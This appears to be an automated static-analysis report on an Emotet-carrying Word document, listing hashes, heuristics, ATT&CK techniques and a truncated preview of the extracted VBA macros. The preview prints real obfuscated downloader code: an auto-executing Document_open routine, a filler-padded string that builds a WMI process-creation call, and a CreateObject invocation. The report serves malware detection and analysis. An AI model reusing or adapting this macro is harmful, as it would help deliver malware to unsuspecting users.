Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4651b324ea2e411f…

MALICIOUS

Office (OLE)

221.4 KB Created: 2020-08-26 06:08:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: d82bee36f10fb3b8df90d9f7b9084bd1 SHA-1: 031aa9d27bfcf5190e272d6d2226ab81c0eab2b5 SHA-256: 4651b324ea2e411f617fa9bb6cff2b8210b211e403b37a2dba4d331c38db850b
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager, which are hallmarks of Emotet. The ClamAV detection explicitly names Emotet. The VBA code is heavily obfuscated but the presence of CreateObject and auto-execution routines strongly suggests it's designed to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12242 bytes
SHA-256: 2b7862839b287a9e66307d6b001841ecae28c5bd5cda765ddff4b82f833beb27
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Y1cfhtdfo8an"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Her87_tsa69n.Bqguy9a6i20be51
End Sub


Attribute VB_Name = "Her87_tsa69n"
Attribute VB_Base = "0{13557834-3B0E-4190-BB07-C9D643B525D0}{B67E93BB-2C4A-4497-9FA1-BA6CE7B8EC8D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Bqguy9a6i20be51()
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Her87_tsa69n.Ihu_f5_wgnmr78o_xy
AYOZk77j = FQLI24 + 115842212
Ls1ow7ebm_a = Osd + 45 + hwb + 55
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Her87_tsa69n.Ihu_f5_wgnmr78o_xy
AYOZk77j = FQLI24 + 115842212
Ds7plzea8ai2fx0 = ChrW(Ls1ow7ebm_a + (nbs + 10 + wbvd + 5))
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Her87_tsa69n.Ihu_f5_wgnmr78o_xy
AYOZk77j = FQLI24 + 115842212
Xfdiphumc71nhbw_9e = "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ai[[[372vfr56 61fs[][324 24 2ds[]anm[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]agm[[[372vfr56 61fs[][324 24 2ds[]at[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a" + Ds7plzea8ai2fx0 + "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a:[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ain[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a3[[[372vfr56 61fs[][324 24 2ds[]a2[[[372vfr56 61fs[][324 24 2ds[]a_[[[372vfr56 61fs[][324 24 2ds[]a" + Her87_tsa69n.Ihu_f5_wgnmr78o_xy + "[[[372vfr56 61fs[][324 24 2ds[]aro[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]ace[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]a"
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Her87_tsa69n.Ihu_f5_wgnmr78o_xy
AYOZk77j = FQLI24 + 115842212
Ipfz9ddya8q4cy = B6bq0d5c0gktnb5f4b(Xfdiphumc71nhbw_9e)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Her87_tsa69n.Ihu_f5_wgnmr78o_xy
AYOZk77j = FQLI24 + 115842212
Set M344q6ctp1giad8efu = CreateObject(Ipfz9ddya8q4cy)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))

... (truncated)

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